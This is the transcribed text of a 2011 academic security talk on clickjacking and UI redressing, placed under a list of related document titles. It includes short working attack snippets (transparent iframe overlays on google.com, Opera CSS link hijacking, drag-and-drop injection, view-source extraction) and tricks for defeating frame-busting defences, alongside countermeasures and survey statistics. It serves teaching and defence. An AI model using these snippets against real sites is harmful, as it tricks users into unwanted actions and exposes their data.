UI Redressing and Clickjacking. About click fraud and data theft



Similar documents
Next Generation Clickjacking

We are still vulnerable to clickjacking attacks: about 99% of Korean websites are dangerous

Relax Everybody: HTML5 Is Securer Than You Think

A Tale of the Weaknesses of Current Client-Side XSS Filtering

Security starts in the head(er)

A Tale of the Weaknesses of Current Client-side XSS Filtering

X-Frame-Options: All about Clickjacking?

Advanced XSS. Nicolas Golubovic

HTML5. Eoin Keary CTO BCC Risk Advisory.

Recent Advances in Web Application Security

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Sichere Webanwendungen mit Java

MyReports Recommended Browser Settings MYR-200a

Universal XSS via IE8s XSS Filters

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Owning Your Home Network: Router Security Revisited

Preparing for the Cross Site Request Forgery Defense

Bypassing Internet Explorer s XSS Filter

Protection, Usability and Improvements in Reflected XSS Filters

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

SUBJECT CODE : 4074 PERIODS/WEEK : 4 PERIODS/ SEMESTER : 72 CREDIT : 4 TIME SCHEDULE UNIT TOPIC PERIODS 1. INTERNET FUNDAMENTALS & HTML Test 1

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

Attacks on Clients: Dynamic Content & XSS

WEB DEVELOPMENT IA & IB (893 & 894)

Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

Carlos Muñoz Application Security Engineer WhiteHat

Tutorial: Building a Dojo Application using IBM Rational Application Developer Loan Payment Calculator

Defending against XSS,CSRF, and Clickjacking David Bishop

Web Development 1 A4 Project Description Web Architecture

Project 2: Web Security Pitfalls

WP Popup Magic User Guide

The Image that called me

Web Design Basics. Cindy Royal, Ph.D. Associate Professor Texas State University

Web Application Exploits

PST_WEBZINE_0X04. How to solve XSS and mix user's HTML/JavaScript code with your content with just one script

We automatically generate the HTML for this as seen below. Provide the above components for the teaser.txt file.

WEB DESIGN COURSE CONTENT

Intrusion detection for web applications

Troubleshooting steps for Oracle Financials and Markview. Jan 2015

Real World Java Web Security

Website Login Integration

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

Analysis of Browser Defenses against XSS Attack Vectors

OWASP. The OWASP Foundation HTML5: Something wicked this way comes. Krzysztof Kotowicz Securing

Reference Guide for WebCDM Application 2013 CEICData. All rights reserved.

Web Design and Development ACS Chapter 13. Using Forms 11/30/2015 1

Using Adobe Dreamweaver CS4 (10.0)

jquery Tutorial for Beginners: Nothing But the Goods

Using Style Sheets for Consistency

User Guide for Smart Former Gold (v. 1.0) by IToris Inc. team

Web Development. Owen Sacco. ICS2205/ICS2230 Web Intelligence

Scriptless Timing Attacks on Web Browser Privacy

Edwin Analytics Getting Started Guide

Dashboard Skin Tutorial. For ETS2 HTML5 Mobile Dashboard v3.0.2

Fortis Theme. User Guide. v Magento theme by Infortis. Copyright 2012 Infortis

Taleo Recruiting 7.5. Technical Requirements and Configuration Guidelines for Candidates. Software Version: 7.5 SP11

07 Forms. 1 About Forms. 2 The FORM Tag. 1.1 Form Handlers

Security Research Advisory SugarCRM Cross-Site Scripting Vulnerability

Taleo Enterprise. Career Section Branding Definition. Version 7.5

1. Right click using your mouse on the desktop and select New Shortcut.

Fortifying Web-Based Applications Automatically

CLASSROOM WEB DESIGNING COURSE

Webapps Vulnerability Report

Web Designing with UI Designing

Client-side Web Engineering From HTML to AJAX

Instructions for Configuring Your Browser Settings and Online Security FAQ s. ios8 Settings for iphone and ipad app

Cross Site Scripting Prevention

Short notes on webpage programming languages

In order to get the most out of your Bert Rodgers courses, it is important to ensure that your computer meets some minimum system requirements.

TIME SCHEDULE OBJECTIVES

Introduction to XHTML. 2010, Robert K. Moniot 1

InternetVista Web scenario documentation

BT CONTENT SHOWCASE. JOOMLA EXTENSION User guide Version 2.1. Copyright 2013 Bowthemes Inc.

Virto SharePoint Kanban Board Web Part Release User and Installation Guide

Embedding a Data View dynamic report into an existing web-page

PLAYER DEVELOPER GUIDE

Secure development and the SDLC. Presented By Jerry

Visualizing a Neo4j Graph Database with KeyLines

Script Handbook for Interactive Scientific Website Building

Web Tracking for You. Gregory Fleischer

Checking Browser Settings, and Basic System Requirements for QuestionPoint

BROWSER COMPATIBILITY GUIDE

Web Development CSE2WD Final Examination June (a) Which organisation is primarily responsible for HTML, CSS and DOM standards?

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Protecting Web Applications and Users

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

Website Builder Documentation

How to Edit Your Website

Web Application Security

Making Web Application using Tizen Web UI Framework. Koeun Choi

Login with Amazon. Getting Started Guide for Websites. Version 1.0

Investigation Report Regarding Security Issues of Web Applications Using HTML5

Web Development I & II*

WHITEPAPER. Skinning Guide. Let s chat Velaro info@velaro.com by Velaro

Further web design: HTML forms

Transcription:

: About click fraud and data theft Marcus Niemietz marcus.niemietz@rub.de Ruhr-University Bochum Chair for Network and Data Security 25th of November 2011

Short and crisp details about me Studying IT-Security/Information Technology, RUB Computer Science, Distance University Hagen B.Sc. in IT-Security/Information Technology Books Authentication Web Pages with Selenium Feb. 2012: Clickjacking und UI-Redressing International speaker Work: RUB, Pixelboxx, ISP and IT-Security, Freelancer (trainings, penetration tests) Twitter: @mniemietz

Contents 1 Clickjacking 2 Round up Clickjacking Tool 3 Frame busting Busting frame busting Clickjacking statistics 4

Clickjacking Google Inc. can generate a profit of over $8.5 billion in 2010 Interesting for commercial companies to offer web applications shopping banking share status messages New attacks available that can bypass existing protection mechanisms CSRF token via Clickjacking

Clickjacking Oh no! Why Clickjacking, why again? Because there is more in it!

Clickjacking Adjust the look and/or behavior of a web page Clickjacking Strokejacking Text injection by drag-and-drop Content extraction Pop-up blocker bypass SVG masking

Clickjacking Clickjacking A known issue since 2002 Officially introduced by Hansen & Grossman in 2008 Clickjacking Cursorjacking Filejacking, Cookiejacking Likejacking, Sharejacking Eventjacking, Classjacking Tapjacking, Tabnapping Adobe Flash Player attacks Combinations with CSRF, XSS, CSS Clickjacking Classic clickjacking

Round up Clickjacking Tool Classic clickjacking Advanced attacks Clickjacking and XSS Clickjacking and CSS Strokejacking Text injection by drag-and-drop Content extraction Cursorjacking SVG masking What an attacker can do Clickjacking tool

Classic clickjacking Round up Clickjacking Tool Practical example Clickjacking on the google.com Sign out link Three files required inner.html 1 < iframe src =" http :// www. google. com " width =" 2000" height =" 2000" scrolling =" no" frameborder =" none "> 2 </ iframe >

Classic clickjacking Round up Clickjacking Tool

Classic clickjacking Round up Clickjacking Tool clickjacking.html 1 < iframe id =" inner " src =" inner. html " width =" 2005" height =" 290" scrolling =" no" frameborder =" none "></ iframe > 2 <style type =" text / css "><!-- 3 # inner { position : absolute ; left : -1955 px; top : -14 px ;} 4 //--></ style >

Classic clickjacking Round up Clickjacking Tool trustedpage.html 1 <h1 > www. nds. rub.de </h1 > 2 <form action =" http :// www. nds. rub.de"> 3 <input type =" submit " value =" Go"> 4 </form > 5 6 < iframe id =" clickjacking " src =" clickjacking. html " width =" 50" height =" 300" scrolling =" no" frameborder =" none "> 7 </ iframe > 8 <style type =" text / css "><!-- 9 # clickjacking { position : absolute ; left :7 px; top :81 px; opacity :0.0} 10 //--></ style >

Classic clickjacking Round up Clickjacking Tool 1 inner.html : Frame google.com (2000x2000px) 2 clickjacking.html : Shift the iframe with src=inner.html to the left 3 trustedpage.html : Place a transparent iframe with src=clickjacking.html over the Go button

Round up Clickjacking Tool Clickjacking and XSS: Classjacking Makes use of the jquery JavaScript Library Simplifies HTML event handling Truncated classjacking.html (Part 1/2) 1 <span class =foo > Some text </ span > 2 <a class = bar href =" http :// www. nds. rub.de"> 3 www. nds. rub.de 4 </a> 5 6 < script src =" http :// code. jquery. com / jquery -1.4.4. js"> 7 </ script >

Round up Clickjacking Tool Clickjacking and XSS: Classjacking Truncated classjacking.html (Part 2/2) 1 <script > 2 $(" span. foo "). click ( function () { 3 alert ( foo ); 4 $("a. bar "). click (); 5 }); 6 $("a. bar "). click ( function () { 7 alert ( bar ); 8 location =" http :// www. example. org "; 9 }); 10 </ script >

Round up Clickjacking Tool Clickjacking and CSS: Whole-page clickjacking CSS offers the option to use attribute selectors to select elements with specific attributes CSS attribute selector code 1 a[ href = http :// www. example. org /] { 2 font - weight : bold ; 3 }

Round up Clickjacking Tool Clickjacking and CSS: Whole-page clickjacking Opera allows for breaking out of attribute selectors Opera 11: -o-link applies for <a> tags Whole-page clickjacking code 1 <style > 2 p[ foo = bar {}*{ -o- link : javascript : alert (1) }{}*{ -o-link - source : current }]{ 3 color : red ; 4 } 5 </ style > -o-link-source is used to specify the source anchor for the element with the value current to use the current value of -o-link

Strokejacking Round up Clickjacking Tool Introduced by Michal Zalewski in 2010 Uses the focus functionality An iframe (src= google.com ) together with a text field The web browser has to choose between the iframe and input tag Word opportunity to provide a human authentication service p, o, r and n

Text injection by drag-and-drop Round up Clickjacking Tool Data can be dragged across a domain No need to care about the SOP draganddrop.html 1 < div draggable =" true " ondragstart =" event. datatransfer. setdata ( t e x t / p l a i n, malicious c o d e );" > 2 <h1 > Drop me </h1 > 3 </div > 4 < iframe src =" draganddropiframe. html " style =" border :1 px solid ;" frameborder =" yes "> 5 </ iframe >

Content extraction Round up Clickjacking Tool contentextraction.html 1 < iframe src =" view - source : http :// www. nds. rub.de / chair / news /" frameborder ="0" style =" width :400 px; height :180 px"> 2 </ iframe > 3 < textarea type =" text " cols ="50" rows ="10" > 4 </ textarea >

Cursorjacking Round up Clickjacking Tool Introduced by Eddy Bordi in 2010 Change the default cursor icon for a new behavior CSS code to change the cursor 1 cursor : url (" pointer2visible. png "), default ;

SVG masking Round up Clickjacking Tool Truncated SVGMasking.html 1 <svg : rect x ="0.0" y ="0.0" width ="0.373" height ="0.3" fill =" white "/ > 2 <svg : circle cx ="0.45" cy ="0.7" r ="0.075" fill =" white "/ >

Round up Round up Clickjacking Tool What an attacker can do with Stealing cookies Stealing all the files of a folder Stealing files from the intranet or e.g. tokens Sending status messages in your name Showing elements in another context Controlling your addon(s) on mobile devices Many more

Clickjacking Tool Round up Clickjacking Tool Introduced by Stone at the Black Hat Europe in 2010 Visualize clickjacking techniques in practice Download: http://www.contextis.com/research/tools/ clickjacking-tool/

Frame busting Busting frame busting Clickjacking statistics Frame busting JavaScript X-Frame-Options NoScript Busting frame busting IE8 XSS filter Disabling JavaScript: Restricted frames Redefining location Clickjacking detection system X-FRAME-OPTIONS

JavaScript Frame busting Busting frame busting Clickjacking statistics Structure of frame busting code conditional statement counter-action Frame busting code 1 if ( top!= self ){ 2 top. location. href = self. location. href ; 3 }

JavaScript Frame busting Busting frame busting Clickjacking statistics By Rydstedt et al. - Alexa Top 500 checked Unique sites Conditional statement 38% if (top!= self) 22.5% if (top.location!= self.location) 13.5% if (top.location!= location) 8% if (parent.frames.length > 0) Unique sites Counter-action 7 top.location = self.location 4 top.location.href = document.location.href 3 top.location.href = self.location.href 3 top.location.replace(self.location)

X-Frame-Options Frame busting Busting frame busting Clickjacking statistics Introduced by Microsoft in 2008 Two possible values DENY: Web page cannot be loaded by a frame SAMEORIGIN: Display the web page in a frame when the origin of the top level-browsing-context is not different PHP implementation 1 <? php 2 header ("X-Frame - Options : DENY "); 3?>

X-Frame-Options Frame busting Busting frame busting Clickjacking statistics Firefox: NoScript had experimental X-FRAME-OPTIONS compatibility support in version 1.8.9.9 Browser Lowest version Internet Explorer 8.0 Firefox (Gecko) 3.6.9 (1.9.2.9) Opera 10.50 Safari 4.0 Chrome 4.1.249.1042 Interesting: Content Security Policy ( Firefox 4) Enables a site to specify which sites may embed a resource frame-ancestors: Valid sources for <frame> and <iframe>

NoScript Frame busting Busting frame busting Clickjacking statistics Extension for mozilla-based web browsers like Firefox Clickjacking protection integrated

Busting frame busting Frame busting Busting frame busting Clickjacking statistics In the case that JavaScript protection mechanism are used Busting frame busting Mobile versus non-mobile applications Double framing onbeforeunload event XSS filter Restricted frames Redefining location Referrer checking

IE8 XSS Filter Frame busting Busting frame busting Clickjacking statistics Frame busting code 1 < script type =" text / javascript "> 2 if ( parent. frames. length > 0){ 3 top. location. replace ( document. location ); 4 } 5 </ script > IFRAME with IE8 XSS Filter 1 < iframe src =" http :// www. example. org /? abc =%3 Cscript %20 type =%22 text / javascript %22%3 Eif "> 2 </ iframe >

Redefining location Frame busting Busting frame busting Clickjacking statistics In IE7+ it is possible to redefine location By defining location as a variable, a reading or navigation by assigning top.location will fail, due to a security violation Redefining location to deactivate frame busting code 1 <script > 2 var location = " dummy "; 3 </ script > 4 < iframe src =" http :// www. example. org "> 5 </ iframe >

Clickjacking Defense Frame busting Busting frame busting Clickjacking statistics Published by August Detlefsen, Jason Li, Chris Schmidt, and Brendon Crawford Clickjacking Defense 1 <style id =" acj "> body { display : none } </ style > 2 < script type =" text / javascript "> 3 if ( self === top ) { 4 var acj = document. getelementbyid (" acj "); 5 acj. parentnode. removechild ( acj ); 6 } else { 7 top. location = self. location ; 8 } 9 </ script >

Clickjacking detection system Frame busting Busting frame busting Clickjacking statistics Value Rate Visited Pages 1,065,482 100 % Unreachable or Empty 86,799 8.15% Valid Pages 978,683 91.85% With IFRAMEs 368,963 31,70% With FRAMEs 32,296 3.30% Transparent (I)FRAMEs 1,557 0.16% Clickable Elements 143,701,194 146.83 el./page Speed Performance 71 days 15,006 pages/day Total True Positives Borderlines False Positives ClickIDS 137 2 5 130 NoScript 535 2 31 502 Both 6 2 0 4

X-FRAME-OPTIONS Frame busting Busting frame busting Clickjacking statistics Alexa Top 100,000 scanned in February 2011 HTTP Header analysis of the first page Value Rate Not scanned 341 0.34% Top 100 3 3.00% Top 1,000 9 0.90% Top 10,000 33 0.33% Top 100,000 143 0.14% DENY 48 33.57% SAMEORIGIN 95 66.43%

is a serious attack that can have terrible effects There are protection mechanisms like frame busting to provide a certain degree of client-side security It is possible to disable frame busting code X-Frame-Options and NoScript should be used There will be more attacks concerning

Bibliography Marcus Niemietz, UI Redressing: Attacks and Countermeasures Revisited, Jan. 2011, http://ui-redressing.mniemietz.de Jesse Ruderman, Bug 154957 - iframe content background defaults to transparent, Jun. 2002, https: //bugzilla.mozilla.org/show_bug.cgi?id=154957 Robert Hansen, Jeremiah Grossman, Clickjacking, Dec. 2008, http://www.sectheory.com/clickjacking.htm Paul Stone, Clickjacking Paper - Black Hat 2010 Apr. 2010, http://www.contextis.co.uk/resources/ white-papers/clickjacking/

Bibliography Krzysztof Kotowicz, Filejacking: How to make a file server from your browser (with HTML5 of course), May 2011, http://blog.kotowicz.net/2011/04/ how-to-make-file-server-from-your.html Mario Heiderich, Opera whole-page click hijacking via CSS, May 2011, http://html5sec.org/#27 G. Rydstedt, E. Bursztein, D. Boneh, and C. Jackson, Busting frame busting: a study of clickjacking vulnerabilities at popular sites in IEEE Oakland Web 2.0 Security and Privacy, 2010, http://seclab.stanford.edu/websec/framebusting/ Giorgio Maone, NoScript - JavaScript/Java/Flash blocker for a safer Firefox experience, Apr. 2011, http://noscript.net

Bibliography Brandon Sterne, Content Security Policy, Apr. 2011, http://people.mozilla.com/~bsterne/ content-security-policy/ Mozilla Developer Network, The X-Frame-Options response header, Apr. 2011, https://developer.mozilla.org/en/ The_X-FRAME-OPTIONS_response_header Marco Balduzzi, Manuel Egele, Engin Kirda, Davide Balzarotti, Christopher Kruegel, A Solution for the Automated Detection of Clickjacking Attacks, Apr. 2010, http: //www.iseclab.org/papers/asiaccs122-balduzzi.pdf August Detlefsen, Jason Li, Chris Schmidt, Brendon Crawford, Clickjacking Defense, May 2011, https://www.codemagi.com/blog/post/194

End Thank you for your attention. Any questions?